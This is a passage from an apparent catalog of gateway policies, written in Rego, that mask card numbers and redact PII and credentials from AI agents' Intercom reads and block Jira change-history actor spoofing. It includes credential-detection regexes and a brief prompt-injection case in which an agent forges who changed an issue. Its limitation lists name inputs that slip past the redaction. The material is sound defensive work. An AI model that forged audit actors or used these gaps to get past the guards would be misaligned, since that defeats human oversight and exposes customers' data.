framework; web-UI, native-API, and in-app access are outside the gateway's reach by design. Validate against your own compliance program before relying on it. ```rego package intercom.egress.mask_pan # Transform-only policy — never denies, only masks Luhn-valid card numbers # in Intercom conversation responses to BIN+last4. default allow := true # ----------------------------------------------------------------------------- # Tool matching — conversation-content read tools across the Intercom MCP # server vocabularies in real use. The gateway prefixes tool names with the # configured server name, so we match on the suffix to stay portable. The # incoming name is normalized `_` -> `-` first so both `search_conversations` # (official snake_case) and `search-conversations` (fabian1710 kebab) match. # ----------------------------------------------------------------------------- normalized_name := replace(lower(input.resource.name), "_", "-") # Typed conversation-returning tools — always in scope. Their responses are # conversation-part bodies, so no response-content check is needed. typed_conversation_suffixes := [ # Official Intercom MCP server — full-thread read (all parts verbatim). "get-conversation", # Official (search_conversations) and fabian1710 (search-conversations). "search-conversations", # raoulbia-ai/mcp-server-for-intercom — the most-listed community server. # Its conversation and ticket reads return full customer free-text bodies, # the same PAN egress surface, so they are in scope unconditionally. "list-conversations", "search-conversations-by-customer", "search-tickets-by-customer", "search-tickets-by-status", ] is_typed_conversation_read if { some suffix in typed_conversation_suffixes endswith(normalized_name, suffix) } # Generic OpenAI/Anthropic-convention aliases that the official server exposes # alongside the typed tools. `search` (object_type "conversations") and `fetch` # (a conversation_ ID) both return conversation bodies. An egress policy cannot # see the request's object_type / fetch-ID argument, so these are scoped by a # conversation marker in the RESPONSE instead (see response_is_conversation). is_generic_alias if { some suffix in ["search", "fetch"] endswith(normalized_name, suffix) } # ----------------------------------------------------------------------------- # Response content inspection. # ----------------------------------------------------------------------------- text_blocks := object.get(input.payload, "text", []) # True when any string block carries an Intercom conversation marker: a # `conversation_`-prefixed ID (the fetch/search ID convention) or a # `"type":"conversation"` object (conversation / conversation_part). This is # the egress-observable proxy for "this search/fetch was over conversations". response_is_conversation if { some block in text_blocks is_string(block) regex.match(`(?i)(conversation_|"type"\s*:\s*"conversation)`, block) } # A response is in scope if it is a typed conversation read, or a generic # search/fetch whose response looks like conversation data. in_scope if is_typed_conversation_read in_scope if { is_generic_alias response_is_conversation } # ----------------------------------------------------------------------------- # PAN candidate shapes — anchored with \b word boundaries so digit runs inside # longer identifiers are never partially matched. Every candidate must also # pass the Luhn check below before it is masked. # ----------------------------------------------------------------------------- pan_pattern := concat("|", [ # 16-digit PANs grouped 4-4-4-4 with space or dash separators # (Visa / Mastercard / Discover print format, e.g. 4111 1111 1111 1111). `\b\d{4}[ -]\d{4}[ -]\d{4}[ -]\d{4}\b`, # 15-digit American Express PANs grouped 4-6-5 with space or dash # separators, constrained to the 34/37 IIN range (e.g. 3782 822463 10005). `\b3[47]\d{2}[ -]\d{6}[ -]\d{5}\b`, # Unseparated 13-19 digit runs — the ISO/IEC 7812 PAN length range. # Runs of 20+ digits never match: there is no word boundary inside a # digit run, so this cannot partially mask a longer identifier. `\b\d{13,19}\b`, ]) # ----------------------------------------------------------------------------- # Luhn check — filters card-shaped candidates so timestamps, order numbers, # ticket IDs, and other digit runs that merely look like PANs are left alone. # ----------------------------------------------------------------------------- digits_only(s) := regex.replace(s, `[^0-9]`, "") luhn_contribution(d, parity) := d if { parity == 0 } luhn_contribution(d, parity) := 2 * d if { parity == 1 (2 * d) < 10 } luhn_contribution(d, parity) := (2 * d) - 9 if { parity == 1 (2 * d) >= 10 } luhn_valid(digits) if { chars := split(digits, "") n := count(chars) total := sum([v | some i, c in chars v := luhn_contribution(to_number(c), (n - 1 - i) % 2) ]) total % 10 == 0 } # All card-shaped substrings of t that pass the Luhn check. pan_candidates(t) := {c | some c in regex.find_n(pan_pattern, t, -1) luhn_valid(digits_only(c)) } # ----------------------------------------------------------------------------- # Masking — each match is rewritten to BIN+last4: first six digits (issuer # BIN) and last four kept, everything between masked with `*`. Separators are # dropped in the masked form (e.g. `4111 1111 1111 1111` -> `411111******1111`). # ----------------------------------------------------------------------------- mask_pan(c) := masked if { d := digits_only(c) n := count(d) masked := concat("", [ substring(d, 0, 6), # Replace every middle digit with `*` (RE2 has no repeat builtin, so we # mask the middle substring char-by-char instead of building a `*` run). regex.replace(substring(d, 6, n - 10), `\d`, "*"), substring(d, n - 4, 4), ]) } # Rewrite every Luhn-valid candidate in a string block to its masked form. mask_block(b) := out if { is_string(b) replacements := {c: mask_pan(c) | some c in pan_candidates(b)} count(replacements) > 0 out := strings.replace_n(replacements, b) } mask_block(b) := b if { is_string(b) count(pan_candidates(b)) == 0 } # Non-string content blocks (structured/JSON blocks) pass through unmodified. mask_block(b) := b if { not is_string(b) } # ----------------------------------------------------------------------------- # Full-PAN exemption — callers in the placeholder group see unmasked content. # Fail-closed: missing subject, missing claims, missing groups, or a malformed # groups claim all leave this rule undefined, so masking applies. The is_array # guard is load-bearing: without it a groups claim shaped as an object (e.g. # {"role":"pci-full-pan"}) would iterate its *values* and match, granting the # exemption to a caller who never held the group in an array. Requiring an # array keeps every non-array shape (string, object, number, null) fail-closed. # Replace "pci-full-pan" with your IdP's group name at import time. # ----------------------------------------------------------------------------- caller_may_view_full_pan if { claims := object.get(object.get(input, "subject", {}), "claims", {}) groups := object.get(claims, "groups", []) is_array(groups) some group in groups group == "pci-full-pan" } # ----------------------------------------------------------------------------- # Transform — emitted only when in scope, the caller is not exempt, and at # least one block actually changed. Otherwise the rule is undefined and the # aggregator skips this policy, returning the response byte-identical. # ----------------------------------------------------------------------------- masked_blocks := [out | some block in text_blocks out := mask_block(block) ] transform := { "transformed_payload": object.union(input.payload, {"text": masked_blocks}), } if { input.mode == "output" in_scope not caller_may_view_full_pan is_array(text_blocks) masked_blocks != text_blocks } ``` ### Intercom: Redact PII from Conversation & Contact Reads URL: https://www.intentbasedpolicy.com/policies/intercom/redact-conversation-pii App(s): intercom | Direction: egress | Bundles: soc2, hipaa, gdpr-ccpa | Package: intercom.egress.redact_conversation_pii | Published: 2026-07-12 | Tags: intercom, redact-pii, pii, dlp, redaction, egress, soc2, hipaa, gdpr-ccpa Source: https://github.com/dtwoai/policy-store/blob/main/apps/intercom/redact-conversation-pii/policy.md # intercom / redact-conversation-pii **Direction:** egress (`tool_post_invoke`) **Default:** allow (transform-only — never denies) **Package:** `intercom.egress.redact_conversation_pii` ## What it does Scans the free-text returned by Intercom's conversation- and contact-read MCP tools and rewrites high-confidence personal identifiers and credential shapes to fixed redaction tokens before the response reaches the agent: | Class | Detection | Token | |---|---|---| | US SSN | canonical hyphenated `XXX-XX-XXXX` form | `[REDACTED-SSN]` | | Government / national ID | label-anchored (`ssn`, `national id`, `passport`, `nino`, `tax id`, `tin`) followed by an identifier run | `[REDACTED-ID]` | | Email address | RFC-shaped `local@domain.tld`, word-boundary anchored | `[REDACTED-EMAIL]` | | Phone number | separator-formatted US shapes (`206-555-0100`, `(206) 555-0100`, `+1 206.555.0100`) | `[REDACTED-PHONE]` | | Credential | `key: value` secrets (`password`/`token`/`api_key`/…), AWS/GitHub/Slack/Stripe/Google/OpenAI token prefixes, JWTs (`eyJ…`, incl. `Authorization: Bearer eyJ…`), PEM private-key headers | `[REDACTED-CREDENTIAL]` | Conversations are **raw customer free-text**: customers routinely paste government IDs, health details, and login credentials into support chats, and `get_conversation` / `search` / `fetch` return the full thread including every conversation-part `body`. Contact profiles add structured PII (email, phone) and custom attributes. This is the primary regulated-data egress on the Intercom surface, so the policy masks those shapes in the response while leaving the surrounding structure (IDs, timestamps, thread metadata) intact and usable. The policy is transform-only (`default allow := true`): it never denies a call, so a legitimate conversation or contact lookup still succeeds — it just comes back with identifiers and secrets masked. Responses with no matches, and all out-of-scope tools, pass through byte-identical. Every field (the payload, the content-block array, the parts/body/custom-attribute text) is read via `object.get` chains, so a missing or reshaped response body is never an error — it simply passes through unredacted (fail-open for observability only; see Known limitations). ### Uniform redaction (no group exemption) Unlike the group-gated redaction policies elsewhere in the catalog, this policy applies redaction **uniformly to every caller**. The dominant Intercom community servers authenticate with a single **workspace-wide access token** and expose no per-user identity to the gateway, so there is no reliable IdP claim to gate on for those deployments. Rather than ship a group exemption that silently never matches (and would fail open toward disclosure on the official OAuth server if misconfigured), redaction here is uniform. If your deployment uses the official OAuth server and needs a `pii-cleared`-style exemption, add a `subject.claims.groups` check as a separate `transform` guard — see the `snowflake/redact-pii-egress` policy for the placeholder-group pattern. ## Compliance alignment - **SOC 2 CC6.7** — supports restricting the transmission/movement of confidential information by masking direct identifiers in conversation and contact reads as they leave the gateway toward the agent. **C1.1** — supports identification and protection of confidential information on the support read path; **P4.1** — supports limiting personal-information use to identified purposes (agents triage threads without the raw identifiers they don't need); **P6.1** — supports controls over personal-information disclosure by keeping raw identifiers out of agent context. - **HIPAA §164.502(b) / §164.514(d)** — supports minimum-necessary, role-based limits: the agent sees a working thread with identifiers masked, not the raw regulated data customers pasted into chat. **§164.514(a)–(b)** — supports de-identification practice by stripping Safe-Harbor identifier classes (SSN, national ID, email, phone) from responses; **§164.530(c)** — supports privacy safeguards on the agent channel. - **GDPR Art. 5(1)(c)** — data minimisation on agent reads of customer personal data; **Art. 9** — reduces special-category exposure on the MCP path where health details co-occur with identifiers in free-text chat; **Art. 5(1)(f) / Art. 32** — supports security of processing on the agent channel. - **CCPA/CPRA §1798.121** — supports limiting the use and disclosure of sensitive personal information (SSN, government ID) on the agent channel; **§1798.150** — reduces nonredacted-PI breach exposure if agent context or downstream logs are later compromised. ## Why egress (transform, default allow) The sensitive data already lives inside Intercom — there is nothing to block at ingress, and denying conversation or contact reads outright would make the agent useless for everyday support triage. The only reachable control is masking what the agent is allowed to *see*, and that leak happens when the thread or profile is returned to the MCP client. So the response path is the only place to catch it while keeping the result useful. Gating *which* tools can be called at all, and capping bulk enumeration, are separate concerns for companion ingress policies. ## Tool name matching Applies on the output path to Intercom's conversation- and contact-read channels. The gateway prefixes tool names with the configured MCP server name (not standardised), so matching is case-insensitive and **by suffix**, checked across `input.resource.name`, `input.tool_metadata.name`, and `input.payload.name` — a match on **any** of the three puts the response in scope, so a gateway build that populates only one surface can't slip data past the scanner. **Always in scope (typed conversation/contact reads):** - `*get_conversation` — full thread incl. all conversation parts (official) - `*search_conversations` — filtered conversation search (official, snake_case) - `*search-conversations` — the same tool on the community `fabian1710` server, which uses **kebab-case**; the suffix set tolerates both separators - `*get_contact` — full contact PII profile (official) - `*search_contacts` — contact search (official) - `*list_conversations`, `*search_conversations_by_customer`, `*search_tickets_by_customer`, `*search_tickets_by_status` — the community `raoulbia-ai/mcp-server-for-intercom` server's date-windowed conversation and ticket reads. It authenticates with a workspace-wide token and returns the same raw customer free-text, so its reads are always in scope too. Its names end in `_by_customer` / `_by_status` (not the `search_conversations` suffix), so they are matched explicitly rather than by the generic branch. - `*sync_conversations` — the community `evolsb/fast-intercom-mcp` caching layer's cache-sync reader. Its other tools (`search_conversations` / `get_conversation`) already match the suffixes above; `sync_conversations` is named explicitly so this negligible-adoption server's conversation-read surface is fully covered rather than leaving one reader unredacted. **Conditionally in scope (the generic connector aliases):** The official server also exposes the generic `search` / `fetch` pair (OpenAI/Anthropic connector convention) that alias the typed tools. A policy that matched only the typed tools would be trivially bypassed by calling `search` with `object_type: "conversations"` or `fetch` on a `conversation_` ID. Those are covered two ways, so the coverage holds regardless of what the egress hook carries: 1. **Request-arg gating** — a `*search` whose request `object_type == "conversations"`, or a `*fetch` whose request `id` starts with `conversation_`, read from `input.payload.args` via `object.get`. This is the literal request-side scope, available when the gateway mirrors request args onto the egress hook. 2. **Response-content fallback** — a `*search` / `*fetch` whose returned payload carries an Intercom conversation marker (`"conversation_parts"` or a `"type": "conversation"` object). This is purely response-driven, so it fires on the egress hook even on gateway builds that do **not** mirror request args. All official tool names are verified against Intercom's developer docs and the Speakeasy governance catalog (which agree; the vendor GitHub README is stale). The kebab `search-conversations` is verified from the `fabian1710/mcp-intercom` README; the `raoulbia-ai` conversation/ticket read names are verified from that repo's README. Verify the exact names your gateway emits with the dump-input debug technique before relying on this in production. ## Response shape The policy reads `input.payload.text` — the MCP content-block array the gateway populates on `tool_post_invoke` — and rewrites each **string** block (including string blocks containing serialized JSON, since the regexes run over the serialized text — conversation-part `body`, contact fields, and `custom_attributes` are all covered wherever they appear in the text). Non-string blocks pass through unmodified. When at least one block changes, the policy emits `transform.transformed_payload` containing the original payload with the rewritten `text` array (all other payload keys preserved). When nothing changes, no transform is emitted and the response passes through byte-identical. ## Examples ### Redacted (typed tool, SSN in a conversation-part body) ```jsonc { "input": { "action": "tool_post_invoke", "mode": "output", "resource": { "name": "intercom-get_conversation", "type": "tool" }, "payload": { "name": "intercom-get_conversation", "text": ["{\"type\":\"conversation\",\"conversation_parts\":[{\"body\":\"

my ssn is 123-45-6789

\"}]}"] } } } ``` `allow = true`, with the SSN rewritten to `[REDACTED-SSN]` in `transform.transformed_payload.text`. ### Passed through (out-of-scope tool) ```jsonc { "input": { "action": "tool_post_invoke", "mode": "output", "resource": { "name": "intercom-get_article", "type": "tool" }, "payload": { "name": "intercom-get_article", "text": ["Contact support at help@acme.com"] } } } ``` `allow = true`, no `transform` — Help Center article bodies are public content and out of scope. ## Composition Single-purpose transform policy (`default allow := true`); it composes cleanly with deny/transform policies on the same egress pipeline. Recommended companions for `apps/intercom`: - **`mask-pan-egress` (PF-01)** — cardholder PAN masking (Luhn-validated, mask to BIN+last4) is intentionally **left to that companion policy** and is not handled here, so this policy stays focused on identifier and credential shapes. Attach both for cardholder-data environments — customers paste card numbers into support chats too. - A **`cap-bulk-export`-style ingress guard** (PF-08) clamping `limit` / `per_page` on `search_contacts` / `list_*` calls, bounding the blast radius of any redaction miss and the contact-base enumeration surface. - A **`role-gate`-style ingress policy** (PF-12) that keeps non-support groups off the contact PII surface (`get_contact` / `search_contacts` / `fetch` of `contact_` IDs) in the first place. ## Known limitations - **Only the MCP read path is covered.** DTwo governs the gateway only: the Intercom inbox/web UI, the REST API, and Fin's own actions are out of reach by design, and PII read through those paths will not be masked or appear in the DTwo audit pipeline. - **Redaction is uniform, not group-scoped.** The dominant community servers use a workspace-wide access token and expose no per-user identity, so there is no reliable IdP claim to exempt a cleared reviewer. Every caller gets the masked view. If you run the official OAuth server and need an exemption, add a `subject.claims.groups` guard as described under "Uniform redaction". Never rely on stripped ContextForge-internal claims (`is_admin`, `teams`, `user`) for such an exemption. - **Contacts reached through the *generic* `search`/`fetch` are not covered here.** By design the generic-alias gating fires only for **conversation** scope (`object_type == "conversations"` / a `conversation_` ID / a conversation marker in the response). A `search` with `object_type: "contacts"` or a `fetch` of a `contact_` ID whose response carries no conversation marker passes through unredacted. The **typed** `get_contact` / `search_contacts` tools *are* always in scope; layer the companion ingress role-gate to fence the generic contact path. - **On egress the generic `search`/`fetch` request-arg gating depends on the gateway mirroring request args.** When args are absent, that branch does not fire — the response-content fallback still catches conversation-shaped payloads, but a conversation `search`/`fetch` whose response omits the `conversation_parts` / `"type": "conversation"` markers passes through unredacted (fail-open for observability). The always-in-scope typed tools (`get_conversation` etc.) are unaffected. Verify with the dump-input technique. - **Pattern-based detection is best-effort and conservative by design.** SSNs are matched only in the canonical hyphenated form (bare 9-digit runs collide with ticket/row IDs); phones only in separator-formatted US shapes (bare 10-digit runs, `(206)555-0100` with no space after the parenthesis, and non-US formats are not matched); emails only when word-boundary anchored; national IDs only when a recognised label precedes the value. Obfuscated, split-across-parts, spelled-out, full-width/unicode-digit, or unlabeled non-US identifiers are not caught. Characters glued directly to a value defeat the `\b` anchors (`123-45-67890`, `id00123-45-6789` pass through). Treat this as a high-signal minimum-necessary layer, not a complete DLP solution. - **Company reads are out of scope.** The `get_company` / `list_companies` tools are not matched — the policy targets the conversation and contact surfaces, where raw customer free-text and direct identifiers live. A company record's custom fields can incidentally carry an identifier (e.g. a billing-contact email); those pass through here. Layer the companion role-gate/attribute-strip policies if company custom fields are sensitive in your workspace. - **Cardholder PAN is out of scope.** PAN detection/masking is deliberately delegated to the companion `mask-pan-egress` (PF-01) policy; this policy does not attempt Luhn validation or card masking, and a card number in a thread passes through untouched here. - **Opaque bearer tokens (non-JWT) are not caught.** The credential set masks JWTs by their `eyJ…`-header three-segment shape (so `Authorization: Bearer eyJ…`, a bare `Bearer eyJ…`, and a raw JWT are all redacted), and masks `key: value` secrets and the enumerated provider prefixes. But a bearer scheme carrying an *opaque* random token (`Bearer a1b2c3…`, not a JWT and not a recognised provider prefix) has no high-signal shape to anchor on and passes through — matching it would require a low-signal `Bearer\s+\S+` catch-all that over-redacts ordinary prose. Treat this as part of the best-effort credential posture; layer an ingress `block-secrets`-style guard if opaque tokens are routinely pasted into your support chats. - **The email pattern can over-match inside connection strings.** A `user:password@host.example.com` substring matches the email shape and is redacted. On egress this is over-redaction (safe), not disclosure. The label-anchored national-ID pattern can likewise over-fire on a labelled word that follows the label keyword — again safe over-redaction. - **Non-string content blocks pass through unmodified.** Redaction applies to string entries of `input.payload.text` (including serialized-JSON strings). If your gateway emits structured non-string blocks for Intercom results, verify their shape with the dump-input technique. - **Egress `transformed_payload` replaces the response payload wholesale.** Verify the rewrite against your gateway version with the dump-input technique before production, and mind attachment order if other egress transforms (e.g. `mask-pan-egress`) run on the same pipeline. > **Compliance note.** This policy supports alignment with the cited framework controls **on the MCP path only**. No policy or bundle makes an organization compliant with any framework; web-UI, native-API, and in-app access are outside the gateway's reach by design. Validate against your own compliance program before relying on it. ```rego package intercom.egress.redact_conversation_pii # Transform-only egress policy: rewrites high-confidence PII (SSN, national/ # government ID, email, phone) and credential shapes in the responses of # Intercom's conversation- and contact-read MCP tools to fixed redaction tokens # before the response reaches the agent. Conversations are raw customer # free-text (customers paste government IDs, health details, and credentials # into support chats), so this is the primary regulated-data egress on the # Intercom surface. Never denies — a legitimate lookup still succeeds, just with # identifiers and secrets masked. Redaction is UNIFORM (no group exemption): # the dominant community servers use a workspace-wide token with no per-user # identity to gate on. Cardholder PAN masking is left to the companion # mask-pan-egress (PF-01) policy, so this policy stays focused on identifier and # credential shapes. default allow := true # ----------------------------------------------------------------------------- # Egress scope. Match the post-invoke/output path on either mode or action. If # we keyed on input.mode alone and a gateway build left it unset, the scope # check would silently fail and redaction would no-op (fail open). Ingress # (tool_pre_invoke / mode "input") satisfies neither branch. # ----------------------------------------------------------------------------- is_egress if { input.mode == "output" } is_egress if { input.action == "tool_post_invoke" } # The tool name is exposed on egress under resource.name (PARC), # tool_metadata.name (legacy), and payload.name (tool-hook canonical). Collect # all three and match if ANY carries an in-scope name — matching only a subset # would let a gateway that populates a different surface slip data past the # scanner. Every read is object.get with an "" default so a missing surface is # never an error. candidate_names contains lower(object.get(object.get(input, "resource", {}), "name", "")) candidate_names contains lower(object.get(object.get(input, "tool_metadata", {}), "name", "")) candidate_names contains lower(object.get(object.get(input, "payload", {}), "name", "")) # ----------------------------------------------------------------------------- # Typed conversation/contact read tools — always in scope. Suffix match keeps # the policy portable across the gateway server-name prefix. All names are # verified against Intercom's developer docs / Speakeasy catalog; the kebab # `search-conversations` is the community fabian1710 server. See Known # limitations for portability caveats. # ----------------------------------------------------------------------------- typed_suffixes := { "get_conversation", "search_conversations", "search-conversations", "get_contact", "search_contacts", # Community raoulbia-ai/mcp-server-for-intercom (workspace-wide token, no # per-user identity). Its reads return the same raw conversation/ticket # free-text — the identical regulated-data egress — but its names end in # `_by_customer`/`_by_status`/`list_conversations`, so they match neither # the snake `search_conversations` suffix nor the generic search/fetch # branch. Named explicitly. Verified from that repo's README. "list_conversations", "search_conversations_by_customer", "search_tickets_by_customer", "search_tickets_by_status", # Community evolsb/fast-intercom-mcp caching layer. Its `search_conversations` # / `get_conversation` readers already match the suffixes above, but its # `sync_conversations` tool (a cache-sync reader that can surface thread # bodies) ends in neither `search_conversations` nor `get_conversation`, so # it is named explicitly to keep the conversation-read surface fully covered. "sync_conversations", } matches_typed if { some name in candidate_names some suffix in typed_suffixes endswith(name, suffix) } # ----------------------------------------------------------------------------- # Generic connector aliases (`search` / `fetch`) that alias the typed tools. # Matching only the typed tools would be trivially bypassed via `search` with # object_type "conversations" or `fetch` on a conversation_ ID, so the generic # pair is covered too — scoped to CONVERSATIONS only (contacts via the generic # path are a documented gap; the typed contact tools are always in scope). # ----------------------------------------------------------------------------- is_generic_search if { some name in candidate_names endswith(name, "search") } is_generic_fetch if { some name in candidate_names endswith(name, "fetch") } # Request args, read defensively: present on ingress, and on egress only when # the gateway mirrors them. A missing args object => "" default => branch skips. req_args := object.get(object.get(input, "payload", {}), "args", {}) # (1) Request-arg gating — the literal request-side conversation scope. generic_in_scope if { is_generic_search lower(object.get(req_args, "object_type", "")) == "conversations" } generic_in_scope if { is_generic_fetch startswith(lower(object.get(req_args, "id", "")), "conversation_") } # (2) Response-content fallback — works on the egress hook regardless of whether # request args are mirrored. Fires when the returned payload carries an Intercom # conversation marker. generic_in_scope if { is_generic_search response_has_conversation_marker } generic_in_scope if { is_generic_fetch response_has_conversation_marker } serialized_text := concat("\n", [t | some t in text_blocks is_string(t) ]) response_has_conversation_marker if { contains(serialized_text, "\"conversation_parts\"") } response_has_conversation_marker if { contains(replace(lower(serialized_text), " ", ""), "\"type\":\"conversation\"") } # In scope when we are on the egress path AND either a typed tool matched or a # generic alias resolved to conversation scope. in_scope if { is_egress matches_typed } in_scope if { is_egress generic_in_scope } # ----------------------------------------------------------------------------- # Detection patterns — anchored and conservative to limit false positives on # free-text chat content. Cardholder PAN is intentionally absent (companion # mask-pan-egress / PF-01). # ----------------------------------------------------------------------------- # Credential shapes: key:value secrets, provider-specific token prefixes, JWTs # (the `eyJ..` three-segment shape — catches `Authorization: # Bearer eyJ…`, a bare `Bearer eyJ…`, and a raw JWT alike, since the token # itself is matched regardless of the label in front of it), and PEM private-key # headers. Combined into one alternation so a single pass masks any of them. # (?i) makes the whole set case-insensitive (harmless over-match on the # fixed-prefix shapes). Extends the slack/block-secrets pattern set. credential_pattern := `(?i)(?:(?:password|passwd|secret|token|api[_-]?key|secret[_-]?key|access[_-]?key|client[_-]?secret|bearer)\s*[:=]\s*\S+|AKIA[0-9A-Z]{16}|ghp_[A-Za-z0-9]{36}|github_pat_[A-Za-z0-9_]{82}|xox[baprs]-[A-Za-z0-9-]{10,}|sk_live_[A-Za-z0-9]{24,}|AIza[0-9A-Za-z_\-]{35}|sk-[A-Za-z0-9]{20,}|eyJ[A-Za-z0-9_-]{5,}\.[A-Za-z0-9_-]{5,}\.[A-Za-z0-9_-]{5,}|-----BEGIN (?:RSA |EC |DSA |OPENSSH )?PRIVATE KEY-----)` # US SSN in the canonical hyphenated form only. Bare 9-digit runs collide with # ticket/row IDs, so they are deliberately not matched. ssn_pattern := `\b\d{3}-\d{2}-\d{4}\b` # Government / national identifier, label-anchored so it stays high-confidence # across formats (passport, UK NINO, tax id, unformatted SSN) without firing on # random digit runs. The label and the value that follows are matched together. national_id_pattern := `(?i)\b(?:ssn|social[ -]?security(?:[ -]?(?:no|number))?|national[ -]?id(?:entity)?(?:[ -]?(?:no|number|card))?|nino|passport(?:[ -]?(?:no|number))?|tax[ -]?id(?:entification)?(?:[ -]?(?:no|number))?|tin)\b\s*[:#]?\s*[A-Za-z0-9][A-Za-z0-9-]{4,19}` # Email addresses, word-boundary anchored: local part, "@", domain, TLD of at # least two letters. email_pattern := `\b[A-Za-z0-9._%+-]+@[A-Za-z0-9.-]+\.[A-Za-z]{2,}\b` # Separator-formatted US phone numbers (206-555-0100, (206) 555-0100, # +1 206.555.0100). Bare 10-digit runs are deliberately not matched. The 3-3-4 # grouping is disjoint from the SSN 3-2-4 grouping, so the two never collide. phone_pattern := `(?:\+?1[-. ])?(?:\(\d{3}\)|\b\d{3})[-. ]\d{3}[-. ]\d{4}\b` # ----------------------------------------------------------------------------- # Redaction steps — each is total over strings: it returns the input unchanged # when its class doesn't apply, so the steps chain safely. The emitted tokens # contain no "@", no digit-with-separator runs, and no key:value delimiters, so # no step can re-match a token produced by an earlier step. # ----------------------------------------------------------------------------- redact_credentials(t) := regex.replace(t, credential_pattern, "[REDACTED-CREDENTIAL]") redact_ssn(t) := regex.replace(t, ssn_pattern, "[REDACTED-SSN]") redact_national_id(t) := regex.replace(t, national_id_pattern, "[REDACTED-ID]") redact_phone(t) := regex.replace(t, phone_pattern, "[REDACTED-PHONE]") redact_email(t) := regex.replace(t, email_pattern, "[REDACTED-EMAIL]") # Order: credentials first (their key:value form would otherwise swallow an # email value), then SSN (fixed 3-2-4), then the label-anchored national ID, # then phones (3-3-4), then the generic email sweep. redact_block(b) := redact_email(redact_phone(redact_national_id(redact_ssn(redact_credentials(b))))) if { is_string(b) } # Non-string content blocks (structured blocks) pass through unmodified. redact_block(b) := b if { not is_string(b) } # ----------------------------------------------------------------------------- # Transform — emitted only when in scope and at least one block actually # changed. Otherwise the rule is undefined and the aggregator skips this policy, # returning the response byte-identical. Reading text via object.get + is_array # means a missing/reshaped payload never errors and never emits a malformed # payload (fail-open for observability). # ----------------------------------------------------------------------------- response_payload := object.get(input, "payload", {}) text_blocks := object.get(response_payload, "text", []) redacted_blocks := [out | some block in text_blocks out := redact_block(block) ] transform := { "transformed_payload": object.union(response_payload, {"text": redacted_blocks}), } if { in_scope is_array(text_blocks) redacted_blocks != text_blocks } ``` ### JIRA: Block Change-History Actor Spoofing URL: https://www.intentbasedpolicy.com/policies/jira/deny-history-actor-spoofing App(s): jira | Direction: ingress | Bundles: atlassian, soc2 | Package: jira.ingress.deny_history_actor_spoofing | Published: 2026-07-12 | Tags: jira, atlassian, freeze-destructive-ops, audit-integrity, ingress, soc2 Source: https://github.com/dtwoai/policy-store/blob/main/apps/jira/deny-history-actor-spoofing/policy.md # jira / deny-history-actor-spoofing **Direction:** ingress (`tool_pre_invoke`) **Default:** deny on match, allow otherwise **Package:** `jira.ingress.deny_history_actor_spoofing` ## What it does Blocks any official Jira write call — `transitionJiraIssue`, `editJiraIssue`, or `createJiraIssue` — that carries a `historyMetadata` block, before it reaches the Atlassian MCP server. Per the verified official-connector schema, `transitionJiraIssue` accepts a free-text `historyMetadata` object (`actor`, `cause`, `generator`, each with `displayName` / `avatarUrl`) that is stamped directly onto Jira's issue change history; the same `historyMetadata` field is part of Jira's REST edit-issue and create-issue request bodies, so the edit/create tools are an equivalent route to the same change log (see Known limitations for the verification status). An agent — or a prompt injection driving it — can use that field to **forge who changed an issue**, decorating the change log with a fabricated actor and corrupting the audit trail of the automated actor. Every write **without** `historyMetadata` passes through unchanged, so normal workflow automation and legitimate transitions/edits/creates are unaffected. The decision is made on the tool suffix plus the presence of the `historyMetadata` key anywhere in the arguments object (top level or nested inside the connector's open objects — see Argument shape); a malformed arguments object fails closed (deny). This is an **audit-integrity specialization** of the record-protection family (PF-06, `freeze-destructive-ops`), distinct from a plain `freeze-destructive-ops` policy: it protects the integrity of the *record of what the agent did* (the change history) rather than the record content itself. ## Compliance alignment - **SOC 2 PI1.5** — supports the integrity of stored records by denying agent-forged change-history entries, keeping the record of who transitioned an issue trustworthy. - **HIPAA §164.312(c)** — supports the integrity (anti-alteration) safeguard for the change-history record; **§164.312(b)** — supports audit controls by preventing the agent from fabricating audit-relevant actor metadata. - **GDPR Art. 5(1)(d)** — supports accuracy: the change history must not record a fabricated actor; **Art. 5(2) / Art. 24** — supports accountability by keeping the actor record demonstrably genuine. ## Why ingress and not egress A transition/edit/create is a write with a permanent side effect — once the call reaches Jira the change-history entry (including any spoofed `historyMetadata`) is written and immutable through the MCP path. Egress could only mask the response, not un-write the forged history. Ingress denial is the only placement that actually prevents the audit-trail corruption. ## Tool name matching The DTwo gateway prefixes tool names with the configured MCP server name (e.g. `atlassian-transitionjiraissue`, `atlassian-jira-mcp-transitionjiraissue`), and that prefix is not standardized. The policy matches the **suffixes** `transitionjiraissue`, `editjiraissue`, and `createjiraissue` case-insensitively on `lower(input.resource.name)`, so it stays portable across gateway server names. Verify the exact tool names your gateway emits with the dump-input debug technique before relying on this in production. `historyMetadata` is a verified field on the official Rovo/connector `transitionJiraIssue` tool and is part of Jira's REST edit-issue and create-issue request bodies, so the rule covers all three official write tools. The community `sooperset/mcp-atlassian` write tools (`jira_transition_issue`, `jira_update_issue`, `jira_create_issue`) do **not** end with any of those suffixes and their `historyMetadata` support is unverified — see Known limitations. ## Argument shape The policy reads `input.payload.args` with `object.get` (defaulting to `{}`) and looks for the `historyMetadata` key **at any depth** of the arguments object: - Any **non-null** `historyMetadata` value (object, empty object, or even a bare string) is treated as present and denies the call — presence signals intent to decorate the change history. - The scan is deep, not just top-level: these write tools carry **open objects** (`transitionJiraIssue`'s `fields`/`update`, `editJiraIssue`'s `fields`, `createJiraIssue`'s `additional_fields`) whose merge into the REST request body is connector-defined, so a `historyMetadata` key nested inside any of them is denied too. Only object **keys** named exactly `historyMetadata` match — a string *value* containing the word (e.g. in a description) never trips the rule. - `historyMetadata: null` is treated as absent (it stamps nothing) and the write is allowed, at any depth. - If `args` is **not an object** (malformed payload), the write-allow branch cannot fire, so the call falls through to the default deny (fail-closed). ## Examples ### Allowed (transition with no historyMetadata) ```jsonc { "input": { "action": "tool_pre_invoke", "resource": { "name": "atlassian-transitionjiraissue", "type": "tool" }, "payload": { "name": "atlassian-transitionjiraissue", "args": { "issueIdOrKey": "DEV-7", "transition": { "id": "31" } } } } } ``` `allow = true`, no reason. ### Denied (transition with a spoofed actor) ```jsonc { "input": { "action": "tool_pre_invoke", "resource": { "name": "atlassian-transitionjiraissue", "type": "tool" }, "payload": { "name": "atlassian-transitionjiraissue", "args": { "issueIdOrKey": "DEV-7", "transition": { "id": "31" }, "historyMetadata": { "actor": { "displayName": "Jane Approver", "avatarUrl": "https://x/y.png" }, "cause": { "displayName": "quarterly review" } } } } } } ``` `allow = false`, `reason = "This Jira write call includes a historyMetadata block ..."`. ### Denied (edit-issue route to the same change log) ```jsonc { "input": { "action": "tool_pre_invoke", "resource": { "name": "atlassian-editjiraissue", "type": "tool" 